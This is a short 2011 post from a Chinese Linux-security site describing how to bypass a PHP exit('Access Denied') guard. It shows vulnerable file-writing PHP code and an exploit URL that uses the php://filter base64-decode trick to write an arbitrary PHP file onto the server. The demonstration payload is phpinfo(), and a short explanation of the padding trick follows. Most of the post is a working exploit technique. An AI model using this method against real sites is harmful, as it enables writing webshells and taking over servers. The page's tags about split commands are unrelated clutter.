会员投稿

投稿指南 本期推荐:

您的位置: Linux安全网 > Linux安全 > » 正文

绕过PHP网站Access Denied

日期:2011-07-22 点击:205 来源: 未知分享至:

register_globals = On

<?php
$sqlcontent = "<?PHP exit(''Access Denied''); ?>".$p."\n";
file_put_contents($logfile, $sqlcontent);
?>
exp-demo.php?logfile=php://filter/write=convert.base64-decode/resource=abc.php&p=aPD9waHAgcGhwaW5mbygpOy8vPz4=
http://marc.info/?l=full-disclosure& … 71&w=2
base64-decode会掉过不能解码的特殊字符,变成PHPexitAccessDenied,Base64编码要求把3个8位字节（3*8=24）转化为4个6位的字节（4*6=24），保证能顺利解码补齐字符随便加个a补齐20位.

Tags： linux split split命令 split命令详解 linux slocat slocate命令详解

分享至:

最新图文资讯

1 2 3 4 5 6

相关文章列表:

推荐内容

最新文章

关于我们 - 联系我们 - 广告服务 - 友情链接 - 网站地图 - 版权声明 - 发展历史